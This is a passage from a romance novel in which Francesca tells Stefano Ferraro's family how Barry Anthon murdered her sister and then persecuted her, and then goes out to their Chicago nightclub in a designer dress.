"I'm not exactly thin, Stefano." She ducked her head, looking at her wineglass rather than at him as if the discussion about her curves embarrassed her.
She had gone hungry for a long while. Truthfully she'd lost some weight, but he could tell that she thought she needed to. Women seemed to always think that way. He preferred curves to supermodel thin. He didn't understand why women were so hard on themselves. Francesca was beautiful and he didn't want a single pound to go away.
His brothers, drinks in hand, found chairs and settled, all eyes on his woman. He knew that made her uncomfortable so he kept his fingers around the nape of her neck and his other hand covering hers on his thigh.
"Tell us about Barry Anthon, Francesca," Ricco said. "From the beginning. How he came into your life and what happened from there."
Francesca glanced up at Stefano for reassurance and then carefully set the wineglass on the small end table, fearing she'd spill it on the gleaming marble floor. Her entire body trembled and she didn't seem to be able to do anything about it, even when she commanded herself to be still. She didn't want to talk about Barry Anthon, or relive the nightmare world she'd been dragged into two years earlier when Cella first met Barry.
She risked another look around at the faces of the Ferraro brothers. Vittorio and Taviano looked encouraging. Ricco looked downright scary. Giovanni nodded at her as if to tell her to get on with it. She felt Stefano's body sitting next to her, yet he seemed to take up the room, surrounding her, in front of her, at her back. He was everywhere. Dangerous. Determined. Giving her a feeling of security. How he managed that she didn't know. The fingers massaging her neck almost absently were mesmerizing. Without consciously thinking about it she eased back into them, seeking more. Seeking his touch while she gave them what they wanted.
"My sister, Cella, is—was—nine years older than me. When our parents were killed in an automobile accident she decided to raise me herself. She didn't have to do it—she wanted to. She never once made me feel like a burden to her, even though it was difficult. We didn't ever have a lot of money and we lived in a tiny apartment, but I was really happy."
No one rushed her to get to the place where she met Barry, and she appreciated their patience in allowing her to tell it in her own time and way.
"I was working at a deli and going to school. Cella worked at a beauty salon as a hairdresser. She did nails as well. Her shop was downtown, in a good location, which meant they had a lot of high-end clients. She made decent money and her clientele really built. Next to her salon was a very busy and popular coffee shop. One day she was rushing back to work, and another customer at the coffee shop ran right into her. His coffee spilled all over her. It was hot and she got burned. She dropped her purse, everything went flying and he knelt down and picked everything up for her, immediately took her to a boutique to buy her new clothes for her workday and asked her out. That man was Barry Anthon."
The brothers exchanged a long look and she hesitated, and then glanced up at Stefano. "What?"
"He does that. He sees someone beautiful that he wants and arranges an 'accident,' where he can play the mortified white knight, and asks the woman out, sweeps her off her feet and gets her hooked before his true colors come out."
"You know that about him?"
Ricco took a drink of amber liquid from the tumbler in his hand and nodded. "He uses it when he's at parties. I've witnessed it a time or two."
A little shudder went through Francesca. Unconsciously she pressed closer to Stefano. Instantly his hand went from her neck to her shoulders and he shifted her right against him before his fingers slid back beneath her hair to caress her nape.
"That's what he did. Cella would come home laughing and talking about him like he was Prince Charming. I was happy for her. She was certain she was falling in love. They dated often over the next six months, although little things she wasn't thrilled with began happening. First, he was introduced to me, and I didn't like him at all. Not. At. All." She enunciated each word. "He was too charming and he would touch me all the time. Stand too close. Breathe on the back of my neck. More than that . . ." She broke off, frowning. How could she tell them without sounding insane? She was already going to have to combat insanity charges when she told them the entire story.
"Francesca." Vittorio leaned toward her, evidently reading her reluctance. " _Cara_ , we're all family here. Say whatever it is and let us decide. We hear truth. We told you that. We meant it, quite literally, so whatever you say can't be much more bizarre than that."
Absently, beneath Stefano's palm, her fingers bunched the material of his immaculate pin-striped trousers into her fist, holding on for support. "I know how this sounds, but sometimes, when I'm standing a certain way and the light is just right, my shadow will connect with someone else's shadow. We're not physically touching. Just our shadows, on the wall, or floor. Wherever." She bit at her lip and then took a slow sip of wine, taking her time putting the glass down. She'd started. Now she had to finish. They were really going to think she was insane.
_"Bambina,"_ Stefano murmured, his mouth against her temple, lips brushing her skin. Breath teasing her hair. "No one is going to think you're lying."
She sighed and forced her shoulders straight. "I don't know if that has anything to do with it, the part about shadows, but I just noticed that they were always touching when I would get this sensation. I could feel what the other person felt."
The brothers exchanged another long look and she hastened to try to make her explanation sound better. "I can't explain it, only that sometimes, I just know what a person feels. He would have slept with me, but he didn't feel anything for either of us. Not me. Not Cella. Not in the way Cella thought. It was more like a cat playing with a mouse. He was playing her for his own amusement. He planned on humiliating her. Dumping her. That kind of thing makes him feel powerful."
She waited for recriminations, but no one said anything. Ricco nodded at her assessment of Barry Anthon. That was the most she got from them. "I tried to tell her. It was the first time we ever had a big fight. She refused to believe me." That had really hurt. She couldn't understand why her sister wouldn't believe her. She didn't lie. She never lied. They were close. It didn't make sense to her.
"After the fight we had, Cella noticed little things that upset her. Barry never took her out in public. He would attend fund-raisers and go to huge events where the media was all over, and he would take an actress or some celebrity. He'd tell Cella he had to, because it was important to get the maximum amount of coverage for the event as possible, but even at ball games he'd be photographed with other women. He would make little remarks to her, sneering at her clothes or shoes, or laugh because she didn't know which fork to use at his club. She made excuses for him, saying that she probably was looking for something to be upset about because of the way I felt about him."
Ricco shook his head. "I've heard him do that, put his date down. Make fun of her. Say things to take away her self-esteem. He does it to just about all of the women he dates."
Giovanni nodded. "I heard him talk to a friend of his once, about how you put a woman in her place and she'd do anything to be with you because she knew you were better than she was and she was damned lucky to have you. He believes that shit."
"Fucking asshole," Taviano muttered under his breath, and abruptly jumped up and paced across the floor to the bar to pour himself another drink. "I despise that fucker."
She nearly smiled, more because she realized all the brothers were alike, even down to their colorful language. And they seemed to believe her. At least they knew Anthon and had observed his behavior so what she was telling them wasn't so far out of line they wouldn't hear her the way the police and judge had been with her.
"You aren't alone," she told Taviano. Because, in spite of the language, if there was a person on earth who could be described with that one word, it would be Barry Anthon.
"Keep going," Stefano instructed.
She took a deep breath, trying to keep the door in her mind from cracking open, the one where she relived finding her sister dying on the blood-slick floor of their apartment.
"She spent the night with Barry at his condo and she called me very late. She was upset because she said that he had talked to her about this multimillion-dollar fight that was huge, televised, a title fight that had been in the making for a couple of years. She wasn't into the fights at all and she was a little bored that he went on and on about it. That evening he bragged about how much money he made betting on the fight. He kept repeating how he knew how to pick them."
"The Henessy and Morrison fight," Giovanni guessed.
Francesca nodded. "Those were the names. He was called to the door and he went outside with a couple of his men, who seemed to be upset. He'd left the door to his office cracked open. Usually it was locked. That was the one room in his home she'd never been in, so she peeked in to see what it was like. Cella told me she wandered around a little bit and then as she was going to leave, she was behind his desk and she saw a book open with names and numbers, and she recognized the name of the fighter who lost—the one Barry said everyone expected to win. It looked to her as if he had paid the fighter to lose. In case, she took pictures of the pages with her phone and then a video of the entries, and there were hundreds of them."
"The book was just lying open on his desk?" Ricco asked, his voice disbelieving.
She bit her lip hard before she realized he wasn't disbelieving what she was telling him, more that Barry was an idiot for leaving such a thing out, maybe for even keeping records, although she suspected it was for blackmail purposes.
"Cella said that he was in his office working late. He was interrupted by a commotion at the door and several of his men took him out where she couldn't hear. She'd been in the kitchen cooking for him. He liked her to cook whenever she came over. Cella wasn't the best cook. She worked all the time, but because I usually did the cooking for us at the apartment, she took the opportunity at his condo. She went into the bedroom and called me and told me she wasn't going to spend the night. That she wanted me to call in a few minutes and say I was sick."
Her voice faltered and she put her hand to her throat defensively. Already a lump was forming. Tears burned behind her eyes. She took another deep breath to keep from going to pieces. "I should have gone straight home right then. I needed to study and I was already at the library. It was so silly really, how important I thought it was to do research for a paper I was writing." She shook her head and had to swallow several times. Her chest hurt, her lungs burning for air.
"Just tell us the rest, _dolce cuore_ —say it fast and get it over with," Stefano murmured, his mouth once again against her temple.
"I called about ten minutes later and told her I was sick with the flu. She made lots of sympathetic noises and made her excuses to Barry. She didn't realize he had a camera in his office and everything she did was recorded. When he found the door open, he looked at the feed and apparently saw her looking at the book. He went after her." She tried desperately to separate herself from the rest of it, to be unemotional and recite the events as if they'd happened to someone else, but she couldn't. Her voice shook, betraying her. She sounded strangled, close to tears and no matter how many times she took a breath, she couldn't get enough air into her lungs.
"I came home late and the apartment was dark. The moment I tried to get in, I knew something was wrong because the door was cracked open. I could smell blood and I heard a mewing noise, like a wounded animal in terrible pain. The lamp was closest and I turned it on. Blood was everywhere. All over the walls, the furniture and the floor. Cella lay close to the couch, in a pool of dark red, her clothes red. Her hair was matted with blood. I ran to her, dropped to my knees beside her and tried to stem the blood and at the same time call 911."
"All right, _bambina_ ," Stefano said softly. "You're safe with us now. He isn't going to get away with this."
"He was there. Barry was there. He had blood all over him. He didn't try to deny that he killed her. He wanted me to know. He told me that she'd been stupid and that I'd better give him what he wanted. I could hear the sirens and he just walked out, as if it didn't matter who saw him. In the end it didn't. I told the police it was him, and they said he had an airtight alibi." Her voice shook, turned bitter.
The two cousins leaned forward, almost in unison, instantly drawing her attention. She had forgotten they were there. For some reason, she didn't mind Stefano's brothers hearing her story, but the cousins didn't seem as sympathetic. They were much more unemotional, although, she had to admit, not unkind.
The moment the cousins shifted forward in their chairs, their gazes fixed steadily on her face, every one of Stefano's brothers reacted, hitching forward as well, but protectively. She felt that instant shield go around her. She looked around and saw that every shadow was connected. She was feeling the emotions the brothers were, and they were definitely protective of her. Stefano's hand on her shoulder was suddenly different as well. His fingers dug into her arm, and she knew he was fighting anger.
His brothers hadn't come here to hear her story; they had come to show solidarity. The knowledge hit her instantly and made her want to cry. They believed her on her word alone; it was the cousins she had to convince. She didn't know why Stefano and his family had rallied around her, or had chosen to side with her against Barry Anthon, but she was grateful they had. Surprisingly, it was Stefano's anger that settled her churning stomach. She didn't want him upset at his cousins when clearly he had asked them there to listen to her story.
"He didn't find her phone then," Lanz said, making it a statement.
She shook her head. "But at the time, I had no idea what he was talking about. I didn't for a while."
"Continue," Deangelo encouraged.
Her heart began to beat harder and a little faster. She turned her hand, the one on Stefano's thigh, threading her fingers through his, needing his reassurance. He instantly bent his head, his lips pressed to her ear, right through the thick mass of hair tumbling around her.
"Francesca, if you need a break or this is too upsetting, we can continue later. We don't have to do this now."
She wanted to take that out. The rest of her story was a roller coaster of emotions. She had managed to tamp down the horror of her sister's murder, the terror of the man she knew had savagely killed her. She was tempted to take the out he gave her, but looking around the room at his brothers waiting so patiently for her decision, knowing all of them would back her up, gave her the necessary courage to continue.
Francesca shook her head. "It's better to do this all at once. If you want to know, I'll tell you now. Barry Anthon is a monster and he does all kinds of horrible things and gets away with it. You have to know what he's like, because if I stay here, and I think he's already found me, he'll come after anyone who helps me."
"I believe you're correct on that," Lanz said, sitting back in his chair.
At once she felt the difference in Stefano and his brothers. The tension in the room eased and several of them lifted their glasses to their mouths, where before they had just held them without moving. They _wanted_ Lanz and Deangelo to believe her. That meant the two cousins had the same gift of hearing truth when others spoke. They believed her. She hoped they would continue to believe her because no one else had.
"An older man was arrested for the crime. He walked into the police department and turned himself in. He had the knife and his fingerprints were all over it. He said he'd been drinking and followed her home. He had brain cancer and sometimes he would fly into a rage. He was remorseful. Crying. He pleaded guilty and died before he ever served time. I believe he did it in order to get money for his family before he died. He couldn't even look me in the eye."
"His name," Deangelo said abruptly.
"Harold Benson. His daughter, Carla O'Brian, was with him. She works for Barry Anthon and has, apparently, for several years."
Deangelo nodded. "That's easy enough. It does seem like everything leads back to him. But there's more, isn't there?"
Francesca nodded, tightening her fingers around Stefano's. "Barry came by about a dozen times. He'd just show up in my house. It didn't seem to matter what locks I used—he'd be in there with a couple of his men. They pushed me around a lot and threatened to . . ." She swallowed and lowered her voice, unable to look at any of them, the humiliation and fear crowding too close. "Rape me," she finished. "They would shove me down and rip my clothes, always demanding I give them what Barry wanted. They never said what it was, but I knew they hadn't found her cell phone."
The tension in the room was back and with it, oppressive, scary heat. The room vibrated with rage. Not just Stefano's but all of his brothers' collectively. That was a lot of anger to fill even that large space. Only their two cousins seemed unaffected.
"But you didn't have it," Ricco prompted.
"I had no idea where it was. I couldn't have given it to them if I wanted to, which I didn't. I knew they'd kill me if I handed it over to them.
"I moved and they tore up my place one night. Acted like a party had been held there. It looked like it. Holes in the wall, burns in the carpets, mirrors broken. I was at the library, but my landlord didn't believe me. The more I went to the cops, the more insane I appeared to them. Two apartments later, the judge gave me jail time for vandalism and hefty fines. Along with that, I had to pay the damages for both apartments Barry and his men had destroyed. What little money I had was gone. Then my job. At that point, another arrest and a judge ordered me put in lockup for seventy-two hours in a hospital."
"That fucking bastard," Taviano burst out. "Was he there? In the courtroom?"
She nodded, the terrible knots in her belly unraveling at the reaction of the brothers and Stefano. They believed her. When no one else would, they believed her. Not her neighbors, not her boss, fellow students, teachers, all the people she'd known for most of her life. Not one had believed her. Until Joanna. Until the Ferraros.
Tears burned and she had to look away from the rage on their faces none of them bothered to hide. Rage on her behalf. For her. She didn't deserve it, not after thinking they were an organized-crime family. They were standing up for her. All of them. She turned toward Stefano and buried her face against his jacket. Immediately his arms enclosed her, hiding her tear-wet face from the others.
"Are we about done here?" he growled. His voice actually rumbled, a deep, disturbing and definite warning. It was an order more than a question.
"She hasn't told us what happened to the cell phone," Lanz pointed out, not in the least intimidated by Stefano, although Francesca thought he should have been.
She was intimidated. Stefano could sound very scary when he chose to. The moment the words were out of Lanz's mouth, the hostility in the room rose by volumes. Again, the Ferraro brothers' reaction was what enabled her to answer without falling apart.
"She must have packaged it up and mailed her phone to our post office box on her way home. I didn't check the box for a long time after because of everything that was going on. Most of our mail came to our house. We didn't use that box for anything but packages and that was because our parents had done it that way. We kept the box for sentimental reasons."
Deangelo nodded. "Some of the older generations still keep that tradition. I think it had something to do with bombs being sent when they were feuding."
Francesca sucked in her breath. Cella and she had joked about that, teasing their parents that they were in trouble with the Sicilian mobsters. Both sets of her grandparents had resided in Sicily, as had every generation preceding them. It was her father and mother who had immigrated to the United States.
"I found the phone and knew I couldn't keep it anywhere near me. By that time I was living on the street, but Barry's men were always watching me. So I sent the phone to the only person I knew I could trust. I put it inside our mother's jewelry box and wrapped that, put it in a box and sent it out of town. I knew if Barry killed me, at least there would be some evidence that I was telling the truth."
"Why didn't you take the phone to the police?" Lanz asked, his voice very, very gentle.
She swallowed the terrible lump that had been forming in her throat, one she'd barely recognized was there. But Lanz and probably everyone else in the room had heard the way it strangled her voice. "They believed I was insane, or they were on his payroll. It didn't matter which it was. I knew they would find a way to throw out the evidence and he would get away with his crimes like always."
"We could take it to the police," Deangelo suggested.
She shook her head. "No. Now, it's the only reason I'm still alive. The moment that phone surfaces, he's going to have his men kill me. He can get away with murder. I doubt if a little thing like a police station would keep him from destroying any evidence against him."
"So you'd prefer him to walk?" Lanz persisted.
"No. I'd prefer him in hell," she answered adamantly, "but men with the kind of money and power Barry Anthon has are untouchable. I've tried to tell Stefano that he's dangerous and everyone around me will be in danger, but he isn't listening." She looked around the room. "All of you could get hurt. It really is best if I just leave . . ."
Stefano tipped up her face and slammed his mouth down over hers, effectively cutting off what she would have said to him. The moment he took possession and his tongue demanded entrance she was lost, the way she seemed to be always when he touched her. She _felt_ him. His urgency. His hunger rising stark and brutal. Edging the kiss with danger. It was hot. Wet. Deliberately dominant.
She loved his kisses and gave herself up to him, pouring herself back into him, into his mouth, her arms creeping up to shyly circle his neck. She forgot about their audience. She even forgot who and what they were asking about because the world around her dropped away until there was only Stefano. His arms. His body. His awesome, perfect mouth. The taste of him she knew she'd never get enough of.
When he kissed her, her body heated, blood rushed hot, need pounded in her sex and thundered in her ears. There was no one like him and there never would be. Again, it was Stefano who slowly, reluctantly, broke the kiss. She was grateful he was reluctant, but she clung to him, wanting more. She stared up at him for a long time, lost in the vibrant blue of his eyes.
"You aren't going anywhere, Francesca," he stated, his voice low, but absolutely firm. "Not ever. You're going to stay with me. Do you understand?"
She was mesmerized, completely under his spell in that moment, and it was impossible to do anything but nod. She didn't understand at all. Not why or how Stefano would want her, but he did. There was no question about that now.
When she managed to look around her, Stefano's brothers were grinning at her, not in the least giving them privacy or pretending to look the other way. Even the cousins were smirking, the tension gone, replaced by their smiles.
Ricco's eyebrow shot up. "I'd say, little sister, you're staying right here with us, where you belong."
# CHAPTER TWELVE
Francesca stared at herself in the mirror, feeling a little as if she was a princess in a fairy tale. She smoothed her hand down her dress—the dress Stefano had bought her for tonight. He was casual about it, coming to her room, knocking once and opening the door. He walked straight to her, a large box in his hand, bent his head and brushed a kiss across her mouth.
His touch was all too fleeting. Barely there. But it was a brand and it burned right through her. He pushed the box into her hands. "Gotta go, _bambina_ , things to do, but Emmanuelle and my cousins will be here to escort you to the club. You stick close to them until I get there. Understand?" The pad of his finger traced her lips. "I don't want you dancing with other men. Stay with Emme."
Stefano never got close to her without touching her. His arm snaked around her waist to pull her tightly to his side. His lips brushed her temple or her mouth. He liked being close, but he hadn't made a move on her, not a real one. She found herself at night, lying in her bed, staring at the ceiling, heart pounding, waiting. Just waiting.
She'd seen him leave tonight. As always he wore an impeccable suit. This one was charcoal gray with ultrathin lighter stripes. It was one of his inevitable three-piece suits and he looked amazing in it. He was so sweet to her. Making certain she ate meals. Insisting she text him from the deli several times throughout the day. Always, if she stepped outside, one of his cousins was close.
Stefano made her feel as if she mattered. As if she was his entire focus, even when he was at work, or wherever it was he went. Her eyes went back to the mirror and she raised her hand to her throat. She never asked him what he did. She thought about it and prepared herself to ask him, but he always distracted her before she did. He was just so intimidating and darkly sensual, filling the room with his presence until she could barely think straight.
She inspected herself very carefully. The dress was beautiful—the most beautiful thing she'd ever seen, let alone worn. It was also the sexiest, most flattering dress she'd ever put on. The material clung to her like a second skin, leaving little to the imagination, and yet revealing only hints of actual skin. The dress followed every curve to her small waist before dropping away over her hips. It was short, but elegant. Sexy, but not cheap.
She stared at herself, unable to believe that it was actually Francesca Capello looking back at her in the mirror. She didn't look like that. Hot. Beautiful even, with her hair left loose to tumble around her face and down her back. She couldn't wear a bra with the dress, but it had a lining that gave some support because the material hugged her so tightly. In the box along with the dress was a tiny black lace thong. There was a bow on the back of the waistband, if you could call it a band; mostly it was tiny black strips of material. The thong rode low on her hips, barely there, so no lines showed beneath the clinging material of her dress.
She'd put on her makeup with an edge toward drama, but still barely there. She liked the color of her lipstick, a nice deep red that showed off her full lips and good skin tone. Her shoes were perfect black heels with complicated straps that edged up her ankles and looked superhot. The shoes had to have cost as much or more than the dress. She loved the entire look.
The elevator _pinged_ , warning her, and she caught up her clutch and hurried out to greet Joanna and Mario Bandoni, Joanna's date, as they stepped into the foyer. Joanna looked awesome in her hot red dress. Both she and Mario were staring around the huge room, taking in everything so she had a chance to walk right up to them. Francesca couldn't blame them. When Stefano was there in his apartment with her, she felt at home and safe, but the moment he was gone, she felt like a fraud, an intruder. She didn't belong in his extremely wealthy world. She was very uncomfortable there.
Joanna's eyes widened in shock when she caught sight of Francesca. Her mouth dropped open and she stared openly. Mario made a low sound of approval.
"You look . . . so good, Francesca," Joanna said. "Beautiful. Really beautiful. I'm not certain you should go out in that dress. Has Stefano seen you?"
Francesca laughed. Joanna and Mario had boosted her confidence level immensely just by their reactions. "Not yet, but Emmanuelle and the others should be here in a few minutes. Stefano and his brothers are already at the club. They had a meeting or something. His family is crazy large. Cousins have arrived from New York and they're showing them around. I've never seen so many cousins as Stefano has."
"Most of them are male," Mario pointed out. "He's got Rosina and Rigina, Romano and Renato's sisters. They're pretty nice, although I've never said more than hello to them."
"I nod," Joanna said. "Females can be really bitchy and I never wanted to be put in my place so I was careful around them."
"They put people in their place?" Francesca asked. She knew she _looked_ good, but it was the dress. She didn't run in Stefano's circles. If his cousins decided to be mean to her, she'd much rather stay home. She really wanted to go out wearing the dress and shoes, but not if it meant feeling awful about herself when some woman made her feel like she didn't belong.
"No, they've never done that," Joanna hastened to say. "Get that look off your face, honey. You're with Stefano. No one would dare to be mean to you." She looked around the large room with its high ceilings and open floor plan. "Show us around. I've always wanted to see where Stefano lived. This is . . . _amazing_."
Francesca's stomach knotted. This was Stefano's home. His private sanctuary. Instinctively she knew he wouldn't want anyone peeking into his private world. Joanna looked eager, nearly rubbing her hands together with glee. Mario was happy to go along with her, but Francesca just couldn't do it. Showing them Stefano's home felt too much like a betrayal.
She shook her head. "I can't do that. This isn't my home, Joanna." She kept her voice very firm.
Joanna pouted. "Seriously, Francesca? Come on," she wheedled. "I won't say anything. It's not like he'd know. I really want to see where he sleeps. At least show me his bedroom. I can imagine it's all sexy. Big bed. Satin sheets. Very hot."
Mario laughed. "You're giving me ideas, Joanna."
"Keep getting them, Mario," Joanna flirted.
Francesca wrapped her arms around her middle and held tight. There was no way she was going to show Joanna anything at all. She hated the idea of anyone fantasizing about Stefano's bed and sheets, let alone about him.
Stefano had shown her around the enormous suite—and it was enormous. He had his own workout room complete with every machine imaginable. There was another room that he used for training in several types of martial arts and boxing as well as street fighting. His brothers and sister and sometimes his cousins trained with him there. She'd peeked into the large rectangular room and had been in awe of the equipment there as well as the mats and floor. There were racks of swords and knives and other weapons, some wooden, some not, on the far wall.
Stefano's hand had been on the nape of her neck, or fingers threaded through hers, arm sometimes around her waist, as he'd taken her through his home. The tour had felt intimate, Stefano showing her his private world. She wasn't about to share that, not even with her best friend. She felt the need to guard him, to protect him. This was where he came to relax and no one was going to invade his privacy, not even her friend.
Francesca had seen him every night throughout the week and knew his life was difficult whether he was aware of it or not. The phone rang constantly with demands for his time. His cell went off as much or more than the house phone. No one left him in peace. More than once she'd been tempted to give his neck a massage while he impatiently—and dropping F-bombs liberally—listened to pleas for his help, most of which he answered positively.
"You can just forget all about seeing his bedroom, Joanna." She glanced up at the clock, hoping it was time to go, knowing she had to change the subject. Joanna often was like a wrecking ball when she wanted something. "You look good in that dress. Red is definitely your color. And, Mario, that suit is amazing."
Mario's hand went to his tie a little self-consciously. "I can't be the only one not looking sharp tonight. Look at my girl." He sounded proud, his eyes on Joanna.
Joanna forgot all about pouting and beamed as she slipped her hand onto his arm. "You look very handsome. Thanks for coming with me tonight. I think it will be fun."
The elevator _pinged_ and the doors opened. Emmanuelle emerged and Francesca's breath caught in her throat. Emmanuelle was the most beautiful woman Francesca had ever laid eyes on. Although short, no supermodel could hold a candle to her. She was everything an Italian beauty was reputed to be and more.
She wore a short black dress that clung to every curve. The front was a camisole that dropped into a little flirty skirt. The laces going up the front were tight over her rib cage and up under her breasts, but there was a generous opening showing plenty of cleavage. She looked hot. Gorgeous. Trendy. Sophisticated. Instantly Francesca felt as if she needed to check her own clothes again.
"Francesca. You look . . . beautiful." Emmanuelle sounded sincere and her smile was warm, enveloping all of them. "Joanna, Mario, how nice to see you both again."
She walked with complete confidence in her four-inch heels, coming straight toward Francesca without slowing down. She hugged Francesca tightly and then kissed her on both cheeks.
"Forgive me for not being with you when my cousins came to talk to you. I would have been with my brothers to protect you, if only so you'd have another woman present, but I had to keep the parents occupied." She squeezed Francesca's arm. "I know it was difficult for you—the boys told me. I want you to know how much I respect and admire you. Thank you for worrying about my brother and for making him so happy."
_Whoa._ That was the last thing Francesca expected from Stefano's sister. She made it sound as if Francesca really did belong to Stefano. That it was a done deal and somehow she was totally accepted into their family. Things moved very fast around the Ferraro siblings. Francesca felt uneasy, a fraud even. She wasn't as certain as they were that her relationship with Stefano had progressed to the point of his entire family claiming her.
She wanted a family. She loved that the Ferraros were so tight-knit, but she barely knew them. She didn't even really know what Stefano did for a living. There was just a little bit of fear when she was around them all. Power clung to them. They wore their wealth so easily, like a second skin. More than that, they wore a cloak of pure danger. When any of the Ferraros walked into a room, there was a stunned silence—a collective gasp from any other occupants of the room.
"Are you ready for a night out?" Emmanuelle turned to include Joanna and Mario in her query.
Joanna was staring at Francesca, wide-eyed, a grin on her face. She turned toward Emmanuelle immediately. "I've been looking forward to this all week."
"Rigina and Rosina are downstairs in the limo." Emmanuelle laughed, her voice low and melodious. "I figured we'd better have a driver if we're all going to party tonight." She slipped her arm through Francesca's companionably. "Has Stefano seen that dress?"
Francesca smoothed one hand down the dress, wondering why both Joanna and Emmanuelle had asked that. She nodded, color stealing into her face at having to make the confession. "He brought the dress to me."
Emmanuelle's smile widened. "But he hasn't actually _seen_ you in the dress, has he?" Her eyes met Joanna's and they both burst out laughing.
Francesca wasn't certain what the joke was. "Is something wrong with the way I look?" She couldn't keep the anxiety out of her voice. She wanted to look good for Stefano or she wouldn't have accepted the dress from him. It cost more than her weekly wages and it had been a little disconcerting to have him go out and buy her the club dress. She didn't know why that seemed worse than pretending to believe he or his brother was responsible for losing her clothes and replacing them with much more expensive ones.
"No, Francesca," Emmanuelle assured. "Nothing at all is wrong with the way you look. You're absolutely beautiful and my brother is going to think so, too. It's just that he can be . . . possessive of what is his."
Francesca felt a jab to her stomach, hard enough that she hunched a little. The thought of Stefano being possessive toward other women really bothered her. She knew he had a history with women—beautiful women—but he'd told her that she was special to him. She really wished her self-esteem hadn't taken such a beating and she didn't constantly feel inadequate, worrying about Stefano and the beautiful women who had been in his life prior to her.
A limo awaited them, right in front of the hotel, the long sleek lines making Joanna squeal in glee. Francesca felt it was a little on the ostentatious side. She would never get used to the casual display of wealth and privilege. She slid into the vehicle after Joanna and Mario and discovered that two other women already occupied the leather seats. They were drinking red wine from elegant glasses. Both smiled at her, their gazes running over her dress and shoes automatically, as if they did a sweep of everyone they saw.
"Rigina and Rosina Greco, my cousins," Emmanuelle introduced. "They are sisters of Renato and Romano. I think you've met their brothers."
If she had, Francesca knew she wouldn't be able to place them. She'd been introduced to too many people and some when she was being carried upside down in a sleeping bag through a murky apartment building. She smiled and nodded. The women looked like Ferraros. They carried themselves with that same enviable confidence.
"Wow, Francesca," Rigina said. "I love your dress. It's beautiful. It's a Sophia original, isn't it?"
Francesca had heard of the designer Sophia. She was renowned for her gowns and club wear. Her originals were fought over by her exclusive clientele. Francesca ran her hand down her dress, smoothing imaginary wrinkles, all the while her heart pounding. If this was really a Sophia original, it was worth three months or more of her salary. She should _never_ have accepted it.
"It's gorgeous," Rosina added. "You look beautiful. I can't wait to get inside the club and have Stefano catch his first sight of you in that dress. He's going to go ballistic."
Francesca frowned. "Why do you all keep saying that? Stefano wanted me to wear this dress. The last thing I want to do is embarrass him because it doesn't look good on me. You have to tell me." Her worried gaze found Joanna, her one real friend. If the others were making subtle fun of her, she was certain Joanna wouldn't do that. She'd never allow her to go out in public and be humiliated.
Emmanuelle reached over and took her hand, squeezing it in reassurance. Joanna frowned and shook her head. Rosina looked upset.
"Francesca, you look absolutely beautiful in that dress," Joanna said staunchly. "Gorgeous. Right, Mario?"
Francesca thought Joanna incredibly generous to have her boyfriend, the man she was really interested in, give Francesca compliments.
"I have to agree," Mario said. "Beautiful."
Emmanuelle nodded. "My brother has escorted countless women to clubs and he couldn't care less what they looked like. Elegant or slut clothes didn't much matter to him because if he was with a woman, it was for publicity purposes, like a charity event, or a hookup. He claims you for his own. For his woman. He's made it clear to the family and to those in our neighborhood. He'll make it clear to the world very soon. That's why we're all laughing a little. Stefano is not like most men. None of my brothers are. You're his and he'll watch over you and protect you every minute of every day. With you dressed like that, hotter than hell, he's going to lose his mind, and we're all going to enjoy watching it."
Francesca liked some of what she'd said, was confused by other things and really didn't like the reference to Stefano's other women. She was going to have to gain some confidence in herself fast if she was really going to try to have any kind of a relationship with Stefano Ferraro. He was in a world where confidence mattered. Was needed. She'd been beaten down so far by Barry Anthon, she could barely walk with her head up. Stefano deserved better than that.
Francesca wished she'd met Stefano before Cella had been murdered. She had been different then, carefree and happy. Confident in herself. He would have liked Cella. Francesca hoped he would have liked her, because that was the real Francesca, not this woman who had such low self-esteem, nightmares and was afraid of her own shadow.
She let the talk flow around her. Joanna and Mario accepted drinks happily, and she sipped on champagne. She loved to dance. Loved it. Dancing was one of her all-time favorite things to do. Her parents had put her in dance classes when she was very young; ballroom, Latin, swing—she'd learned it all. Not to mention the pole dancing she'd done as exercise in college. Cella had insisted that was the one splurge they would have after their parents' deaths.
Francesca loved her sister for that sacrifice. It wasn't like she was ever going to be a professional dancer, but still, Cella deemed those lessons important and she worked extra hours to pay for them. As soon as Francesca was old enough, she worked, cleaning houses, working at the deli, anything at all in order to help Cella with the bills.
The limo pulled up to the front of the club. Francesca was a little shocked when she saw the line of people trying to get in. It seemed to go on forever. She knew she would never have had the patience to wait in a line that long, especially if, like Joanna had said, there was a possibility that she'd be turned away once she reached the front.
"This is crazy, Jo," she murmured.
Joanna squeezed her arm tightly as they all got out of the limo. "I can't believe this. I feel like a princess arriving at the ball. Everyone's staring, trying to catch a glimpse of us. They think we're celebrities, Francesca."
Emmanuelle suddenly moved, flowing across the short distance separating her from Francesca. She was elegant even in her body's movement, like a ballet dancer. As she got to Francesca, she took her arm, turning her around toward the club. Emmanuelle's body provided a shield as a dozen flashes went off.
"Keep walking. Stay between us all, in the middle," Emmanuelle ordered, her voice low.
Emmanuelle's hand was steady on Francesca's back, pushing her gently toward the entrance. As they moved past the front of the line to the entrance, the bouncers unhooked the velvet ropes to allow them in. Francesca noticed that Emilio and Enzo fell in behind them. She had no idea where they came from, but suddenly they were walking with the small group of women, as if they'd always been with them.
The moment the doors to the club opened, Francesca could hear the pounding beat of the music. It was loud, impossible not to want to dance to and very trendy. The DJ was extremely popular, one who commanded all sorts of money, and yet stayed there in Chicago rather than moving to New York, where he would be given star status. There were several bars, each glowing a different color. Muted blues, reds, purples and greens pulsed to the music from the lights secreted in the bars. The bartenders were moving fast, bottles spinning in the air as they quickly made drinks for the customers pressing around the curved bars.
Francesca could feel the beat of the music already heating up her blood. They moved through the lower section in a tight group, Emilio and Enzo ensuring the crowd parted for them as they wound their way through the floor. Up a few stairs was the VIP section, where tables and booths guaranteed privacy. Even farther up were the very secluded tables and booths. Those were reserved for family and friends.
Emmanuelle led the way with absolute confidence. She clearly was the queen of the club. Deference was paid to her everywhere one looked. Nods. Smiles. Waves. She kept moving even when a few scantily clad women called out her name and stepped toward her. She was gracious, always replying, but she made it clear she was heading toward her own table.
A waitress followed them, ready to take their drink orders. There would be no queuing up to the bar for them. Francesca surveyed the room below her. It was exciting, the music already finding her pulse and beating there, calling her. Joanna was already swaying to the persistent call of the drum.
Emmanuelle sank into one of the plush seats, indicating the chair beside her to Francesca. "I have to join my brothers for a meeting in a few minutes, but I've got time for a drink. We've got cousins from New York here. Four of them. I noticed them on the dance floor when we walked in. They've already got women hanging on them. See that blonde down there?" She indicated a woman in a very short leather dress with cutouts on either side. The openings ran from her hips to under her arms. Her platinum hair was short and spiked.
